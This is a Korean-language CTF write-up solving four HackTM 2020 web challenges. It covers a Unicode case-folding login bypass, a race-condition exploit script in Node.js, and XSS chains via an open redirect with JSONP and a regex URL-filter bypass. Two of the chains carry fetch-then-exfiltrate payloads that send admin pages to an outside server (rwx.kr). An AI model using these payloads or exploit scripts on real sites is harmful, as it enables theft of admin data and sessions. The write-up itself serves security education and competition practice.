HackTM CTF Quals 2020

   

WreckTheLine 팀에서 주최한 CTF 입니다.

[175pts] Draw with us (1st solve)

Come draw with us!
http://167.172.165.153:60000/
Author: stackola
Hint! Changing your color is the first step towards happiness.

1
2
3
4
5
6
function isValidUser(u) {
return (
u.username.length >= 3 &&
u.username.toUpperCase() !== config.adminUsername.toUpperCase()
);
}

로그인 함수에서 isValidUser 함수를 호출하여 admin 계정으로의 로그인인지 확인합니다.
u.username.toUpperCase() !== config.adminUsername.toUpperCase() 를 만족하지 않으면 로그인인 가능합니다.

1
2
3
function isAdmin(u) {
return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}

하지만 로그인 이후 관리자 페이지인 /updateUser 에서는 isAdmin 함수를 이용하여 관리자 권한을 확인하는데, 비교에 String.toUpperCase 를 사용하였던 isValidUser 와 다르게 String.toLowerCase 를 사용하고 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[223] ß (%C3%9F).toUpperCase() => SS (%53%53)
[304] İ (%C4%B0).toLowerCase() => i̇ (%69%307)
[305] ı (%C4%B1).toUpperCase() => I (%49)
[329] ʼn (%C5%89).toUpperCase() => ʼN (%2bc%4e)
[383] ſ (%C5%BF).toUpperCase() => S (%53)
[496] ǰ (%C7%B0).toUpperCase() => J̌ (%4a%30c)
[7830] ẖ (%E1%BA%96).toUpperCase() => H̱ (%48%331)
[7831] ẗ (%E1%BA%97).toUpperCase() => T̈ (%54%308)
[7832] ẘ (%E1%BA%98).toUpperCase() => W̊ (%57%30a)
[7833] ẙ (%E1%BA%99).toUpperCase() => Y̊ (%59%30a)
[7834] ẚ (%E1%BA%9A).toUpperCase() => Aʾ (%41%2be)
[8490] K (%E2%84%AA).toLowerCase() => k (%6b)
[64256] ff (%EF%AC%80).toUpperCase() => FF (%46%46)
[64257] fi (%EF%AC%81).toUpperCase() => FI (%46%49)
[64258] fl (%EF%AC%82).toUpperCase() => FL (%46%4c)
[64259] ffi (%EF%AC%83).toUpperCase() => FFI (%46%46%49)
[64260] ffl (%EF%AC%84).toUpperCase() => FFL (%46%46%4c)
[64261] ſt (%EF%AC%85).toUpperCase() => ST (%53%54)
[64262] st (%EF%AC%86).toUpperCase() => ST (%53%54)

자바스크립트에서 K(U+212a)String.toLowerCase 함수를 통해, 아스키 문자인 k(0x6b) 로 변환됩니다. 따라서 {"username":"hac\u212aTm"} 를 파라미터로 하여 로그인하면, isValidUser 함수를 우회하고 관리자 페이지인 /updateUser 에 접근할 수 있게 됩니다.

1
2
3
4
5
6
7
8
9
app.get("/flag", (req, res) => {
// Get the flag
// Only for root
if (req.user.id == 0) {
res.send(ok({ flag: flag }));
} else {
res.send(err("Unauthorized"));
}
});

플래그를 얻기 위해서는 /flag 경로에 접근할 수 있어야 하는데, req.user.id 값을 0 으로 만들어야 합니다. 이 값은 /init 페이지에서 변경할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
app.post("/init", (req, res) => {
let { p = "0", q = "0", clearPIN } = req.body;

let target = md5(config.n.toString());

let pwHash = md5(
bigInt(String(p))
.multiply(String(q))
.toString()
);

if (pwHash == target && clearPIN === _clearPIN) {
// Clear the board
board = new Array(config.height)
.fill(0)
.map(() => new Array(config.width).fill(config.backgroundColor));
boardString = boardToStrings();

io.emit("board", { board: boardString });
}

//Sign the admin ID
let adminId = pwHash
.split("")
.map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
.reduce((a, b) => a + b);

console.log(adminId);

res.json(ok({ token: sign({ id: adminId }) }));
});

/init 에서는 sign 함수를 통해 req.users.id 값을 변경할 수 있습니다.
그러기 위해서는 pwHash 값인 md5(bigInt(String(p)).multiply(String(q)).toString())targetmd5(config.n.toString()) 값이 동일해야만 합니다.

1
2
3
4
5
6
7
8
app.get("/serverInfo", (req, res) => {
// Get server info
// Only for logged in users

let user = users[req.user.id] || { rights: [] };
let info = user.rights.map(i => ({ name: i, value: config[i] }));
res.json(ok({ info: info }));
});

config.n 값은 /serverInfo 에서 알아낼 수 있습니다.
user.rights.map 함수를 통하여 config[n] 값을 반환하도록 할 수 있는 가능성을 제공합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
app.post("/updateUser", (req, res) => {
...
let rights = req.body.rights || [];
if (rights.length > 0 && checkRights(rights)) {
users[uid].rights = user.rights.concat(rights).filter(onlyUnique);
}
...
});

function checkRights(arr) {
let blacklist = ["p", "n", "port"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}

따라서 위에서 설명했던 /updateUser 페이지를 통해 user.rights 에서 n 값을 넣어주면 되는데
checkRights 함수에서 blacklist.includes 를 통해 p, n, post 등의 문자열 값이 입력으로 들어올 경우 거부됩니다.

1
2
3
4
5
6
A = {'key': 'value'}
// {key: "value"}
A['key']
// "value"
A[['key']]
// "value"

자바스크립트에서는 첨자를 사용하여 객체를 참조할 때, 키 값으로 문자열 이외의 값이 들어올 경우, 원시 타입으로 변환하여 키로 사용합니다.
따라서 checkRights 함수에서 입력으로 {"rights":[["n"]]} 과 같은 배열을 넣어줄 경우에, blacklist.includes 를 우회하여 /serverInfo 애서 config.n 값을 확인하도록 할 수 있습니다.

이후 /init 에서 q 값을 1으로, p 값으로 알아낸 config.n 값을 넣어주면 req.user.id 값을 0으로 만들 수 있고, /flag 에서 플래그를 확인할 수 있습니다.

[280pts] My Bank

Who’s got my money?
Please abstain from brute-forcing files.
http://178.128.175.6:50090/
Author: nytr0gen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
// exploit.js
const request = require('request');

function solve() {
request('http://178.128.175.6:50090/register', (err, res, body) => {
let cookie = res.headers['set-cookie'][0].split(';')[0]
let token = /csrf_token.+value="([^"]+)"/.exec(body)[1];
request('http://178.128.175.6:50090/register', {
"method": "POST",
"headers": {
"Cookie": cookie,
"Content-Type": "application/x-www-form-urlencoded"
},
"body": "csrf_token=" + token + "&username=posix"
}, (err, res, body) => {
let cookie = res.headers['set-cookie'][0].split(';')[0];
request('http://178.128.175.6:50090/', {
"headers": {
"Cookie": cookie
}
},(err, res, body) => {
let token = /csrf_token.+value="([^"]+)"/.exec(body)[1];
let cookie = res.headers['set-cookie'][0].split(';')[0];
let queue = 0;

for (let i = 0; i < 30; ++i) {
queue += 1;

request('http://178.128.175.6:50090/', {
"method": "POST",
"headers": {
"Cookie": cookie,
"Content-Type": "application/x-www-form-urlencoded"
},
"body": "csrf_token=" + token + "&loan=100"
}, (err, res, body) => {
queue -= 1;

if (queue === 0) {
let cookie = res.headers['set-cookie'][0].split(';')[0];
request('http://178.128.175.6:50090/', {
"headers": {
"Cookie": cookie
}
}, (err, res, body) => {
let money = /Money: ([^ ]+)/.exec(body)[1];
money = parseInt(money.replace(/,/g, ''))

if (money >= 1400) {
get_flag(cookie);
} else {
console.log('[*] Trying, Got ' + money);
solve();
}
})
}
})
}
})
});
})
}

function get_flag(cookie) {
request('http://178.128.175.6:50090/store', {
"headers": {
"Cookie": cookie
}
}, (err, res, body) => {
let token = /csrf_token.+value="([^"]+)"/.exec(body)[1];
request('http://178.128.175.6:50090/store', {
"method": "POST",
"headers": {
"Cookie": cookie,
"Content-Type": "application/x-www-form-urlencoded"
},
"body": "csrf_token=" + token + "&item=1337"
}, (err, res, body) => {
let cookie = res.headers['set-cookie'][0].split(';')[0];

request('http://178.128.175.6:50090/store', {
"headers": {
"Cookie": cookie
}
}, (err, res, body) => {
let flag = /HackTM{.*}/.exec(body)[0];
console.log("[!] flag is " + flag);
})
});
})
}

solve();

레이스 컨디션 취약점을 통해 600.00 tBTC 이상의 돈을 빌릴 수 있습니다.
이후 /store 에서 플래그를 구입하면 됩니다.

[497pts] mIRC (3rd solve)

The new Yahoo! Messenger. Dirbuster will not help you with anything. The admin should be talkative.
http://178.128.175.6:40080/
Author: nytr0gen

1
2
3
4
5
6
7
// http://178.128.175.6:40080/login?next=http://rwx.kr/1.js
// if logged in, redirect to (http://rwx.kr/1.js)

POST /register HTTP/1.1
...

csrf_token=<token>&username=../../login?next=http://rwx.kr/1.js?x=?&password=123

http://178.128.175.6:40080/login?next=http://attacker.comopen redirection 취약점이 존재하고 로그인 시, 유저명에 url 을 입력할 수 있습니다.

1
<div id="chat-personalization" data-chat_url="/api/messages/" data-param="admin" data-start_qualifier="__P" data-end_qualifier="P__" data-source_path_empty="" data-disable_cache="true" data-css_selector=".chatform_hidden" data-last_update="1580610880.0" class="hidden"></div>

/messages?username=admin 에서 관리자와 대화할 수 있는 기능이 주어지는데
페이지 중간에 위와 같은 태그가 존재합니다.

1
<div id="chat-personalization" data-chat_url="/api/messages/" data-param="../../login?next=http://rwx.kr/1.js?x=?" data-start_qualifier="__P" data-end_qualifier="P__" data-source_path_empty="" data-disable_cache="true" data-css_selector=".chatform_hidden" data-last_update="1580610880.0" class="hidden"></div>

data-param 부분에 대화하는 상대방의 유저명이 포함되며, 예를 들어 ../../login?next=http://rwx.kr/1.js?x=? 이라는 이름으로 가입한 경우 위와 같은 상태가 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function checkNewMessages() {
var chat = $("#chat-personalization");
if (!chat.length) {
return;
}
var chat_url = chat.data("chat_url");
var param = chat.data("param");
var start_qualifier = chat.data("start_qualifier");
var end_qualifier = chat.data("end_qualifier");
var source_path_empty = chat.data("source_path_empty");
var disable_cache = chat.data("disable_cache");
var css_selector = chat.data("css_selector");
var enable_decrypt = chat.data("enable_decrypt");
var last_update = +chat.data("last_update") || false;

if (!source_path_empty) {
var vid = param;
if (typeof vid != 'undefined') {
var f = (disable_cache) ? vid.toLowerCase() : vid.toLowerCase().substring(0, 2);
var c = (disable_cache) ? {
_: new Date().getTime()
} : {};
// personalize with backend data
var ajax = $.getJSON(chat_url + f, c);
...
}
}
}

$(document).ready(function() {
setInterval(checkNewMessages, 2000);
});

/static/app.js 파일의 최하단을 확인해 보면 chat_url + f 을 인자로 하여 $.getJSON 함수를 실행하고 있습니다. chat_url 값을 고정으로 /api/messages/ 이며 f 값은 유저명입니다.

1
$.getJSON('/api/message/' + '../../login?next=http://rwx.kr/1.js?x=?')

따라서 ../../login?next=http://rwx.kr/1.js?x=? 를 유저명으로 하여 관리자에게 메시지를 보내면, 관리자는 위와 같은 형태의 함수 호출을 하게 됩니다.
url 뒤에 ?x=? 를 붙여준 이유는 jquery의 getJSON 함수가 이와 같은 형태의 url 을 인자로 받으면 ? 부분에 jQuery34108898913333225196_1580687420744 와 같이 난수가 포함된 문자열로 요청을 시도하며, 받아온 결과값을 스크립트로서 실행하는 기능이 존재하기 때문입니다.

이러한 기능은 본래 jsonp 페이지를 지원하기 위해 존재하는 기능이지만, open redirection 취약점과 결합하면 공격자의 서버에서 임의의 스크립트를 받아와 실행하도록 할 수 있습니다.

1
2
3
fetch('/profile').then(x => x.text()).then(x => {
location = 'http://rwx.kr/?d=' + btoa(x);
});

서버에 스크립트를 저장해둔뒤, 관리자가 요청하도록 하였습니다.
이후 fetch 함수를 통해 /profile 페이지를 받아와 결과 페이지를 공격자 서버로 반환하도록 합니다.

1
2
3
4
<div class="form-group">
<label for="fullname">Fullname</label>
<input class="form-control" id="fullname" name="fullname" type="text" value="HackTM{3f07fcaba6c72e3ffb640bbe9dab0edad15c84e390b8c323aa0bc3178ad7c65b}">
</div>

관리자에게 메시지를 보내 스크립트를 실행 시킨 후, 서버에 전송된 데이터를 디코딩 하여 확인해 보면, 관리자의 fullname 부분에 플래그가 존재하는 것을 확인할 수 있습니다.

[497pts] Humans of Dancers (4th solve)

Please do not brute-force for any files or directories.
Recommended browser: Chrome
http://178.128.175.6:20900/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Object.freeze(location);

var DEFAULT_ROUTE = '/page/acasa';

var $page = $('.page');
var $pageFrame = $page.find('.page__frame');
var currentRoute = null;

var isValidUrl = function (url) {
if ((url.toLowerCase().startsWith('//'))) {
url = "https:" + url;
}

let isValidUrl = isValidJSURL(url);
let isUrl = isValidPattern(url);
let sameDomain = url.toLowerCase().startsWith('/') && !url.substr(1).toLowerCase().startsWith('/');

let ret = ((isValidUrl && isUrl) || sameDomain);

return ret;
};

var expression = /^(https?\:\/\/)?[a-zA-Z0-9_-]+(.[a-zA-Z0-9_-]+)*.[a-zA-Z]{2,4}(\/[a-zA-Z0-9_]+){0,15}(\/[a-zA-Z0-9_]+.[a-zA-Z]{2,4}(\?[a-zA-Z0-9_]+\=[a-zA-Z0-9_]+)?)?(\&[a-zA-Z0-9_]+\=[a-zA-Z0-9_]+){0,15}$/gi;
var regex = new RegExp(expression);
var isValidPattern = function(url) {
var urlNoQueryString = url.split('?')[0];
return (url != null && !(urlNoQueryString.match(regex) === null || (url.split(" ").length - 1) > 0));
};

var isValidJSURL = function (url) {
if (!(url.toLowerCase().startsWith("http://") || url.toLowerCase().startsWith('https://'))) {
url = 'https://' + url;
}

var toOpenUrl;
try {
toOpenUrl = new URL(url);
return toOpenUrl.origin !== 'null';
} catch (e) {}

return false;
};

/static/app.js 파일을 확인해 보면 hash 값에 주어진 문자열을 인자로 하여 isValidUrl 함수를 호출하여 안전한 주소인지 확인한 후에, iframe 태그의 src 속성으로 설정합니다.

1
2
/^(https?\:\/\/)?[a-zA-Z0-9_-]+(.[a-zA-Z0-9_-]+)*.[a-zA-Z]{2,4}(\/[a-zA-Z0-9_]+){0,15}(\/[a-zA-Z0-9_]+.[a-zA-Z]{2,4}(\?[a-zA-Z0-9_]+\=[a-zA-Z0-9_]+)?)?(\&[a-zA-Z0-9_]+\=[a-zA-Z0-9_]+){0,15}$/gi
// matches with https://javascript:80/1-%60html;t/aa/b/c,pa?a=1%60,alert(1) ...

먼저 isUrl 에서 사용하는 정규식이 상당히 번잡한데, url의 . 문자가 escape 되지 않고 모든 문자와 매칭되도록 하고 있습니다.
따라서 https://javascript:80/1-%60html;t/aa/b/c,pa?a=1%60,alert(1) 를 통해 우회할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
var isValidJSURL = function (url) {
if (!(url.toLowerCase().startsWith("http://") || url.toLowerCase().startsWith('https://'))) {
url = 'https://' + url;
}

var toOpenUrl;
try {
toOpenUrl = new URL(url);
return toOpenUrl.origin !== 'null';
} catch (e) {}

return false;
};

isValidJSURL 함수에서는 주어진 urlorigin 을 확인하는데 https://javascript:80/1-%60html;t/aa/b/c,pa?a=1%60,alert(1) 의 경우 javascript:80 을 origin 으로 인식합니다.

1
2
3
4
// csp
Content-Security-Policy: base-uri 'self'; block-all-mixed-content; frame-ancestors 'self'; object-src 'none'; connect-src 'self'; frame-src 'self' https://www.youtube.com https://www.google.com; script-src 'self' 'unsafe-inline' https://cdnjs.cloudflare.com https://www.google.com/recaptcha/api.js https://www.gstatic.com/recaptcha/; report-uri /api/report-csp
// app.js
Object.freeze(location);

위에서 필터링 함수를 우회하는데에 성공하면 hash 값을 조작함으로써 마음대로 스크립트를 실행할 수 있는데, csp와 Object.freeze(location) 을 통해 외부로 데이터 전송을 방지하고 있습니다.
하지만 top.location.replace('...') 을 통해 location 이동을 하여 외부로 데이터를 보내도록 할 수 있습니다.

1
http://178.128.175.6:20900/#javascript:80/1-%60html;t/aa/b/c,pa?a=1%60,fetch('/admin').then(x=%3Ex.text()).then(x=%3Etop.location.replace('//rwx.kr/?'%2bbtoa(x)))

위 주소는 /admin 페이지를 가져와 공격자의 서버로 전송하도록 합니다.

1
<!-- <a href="#/page/sugestii">Sugestii</a> -->

페이지를 중간에 위와 같은 주석이 존재하는데, 접속해 보면 아래와 같은 페이지가 보입니다.

1
2
3
4
5
6
7
8
<form action="" method="post">
<input id="path" name="path" type="hidden" value="/#/page/acasa">
<input id="csrf_token" name="csrf_token" type="hidden" value="Ijc2NTM2MGNiOTBkZTI4Y2E4ZGExMGRkMTk0NTAwNjE3MGNkNjZmYjAi.XjdpKQ.sFQg9QIAZLFkqSWYsMgfljOT5UA">
<textarea cols="60" id="message" name="message" placeholder="Scrie parerea ta" required rows="20"></textarea>
<script src='https://www.google.com/recaptcha/api.js' async defer></script>
<div class="g-recaptcha" data-sitekey="6LfE7dQUAAAAABOc1rpiWCU0CQF9Msv2XBdvgd5q"></div>
<input type="submit" value="Trimite sugestie">
</form>

hidden 타입의 input 태그를 확인할 수 있는데, 여기에 만든 페이로드인 /#javascript:80/1-%60html;t/aa/b/c,pa?a=1%60,fetch('/admin').then(x=%3Ex.text()).then(x=%3Etop.location.replace('//rwx.kr/?'%2bbtoa(x))) 를 전송해 주면 곧 관리자가 확인하고, /admin 페이지 내용이 수신됩니다.

1
2
3
4
5
6
// log
178.128.175.6 - - [03/Feb/2020:01:33:35 +0900] "GET /?PHA+CkhhY2tUTXs2NzA4ZTdhOGQxYWM4YmZhYWFlYjNmNmFhNzY2YjJjOTAzYmE3ZTgyNjQ2Y2E1YjgzYjVhMjBjOTQwYzU0ZjlhfQo8L3A+Cg== HTTP/1.1" 200 67 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.130 Safari/537.36"
// decoded
<p>
HackTM{6708e7a8d1ac8bfaaaeb3f6aa766b2c903ba7e82646ca5b83b5a20c940c54f9a}
</p>

데이터에서 플래그를 확인할 수 있습니다.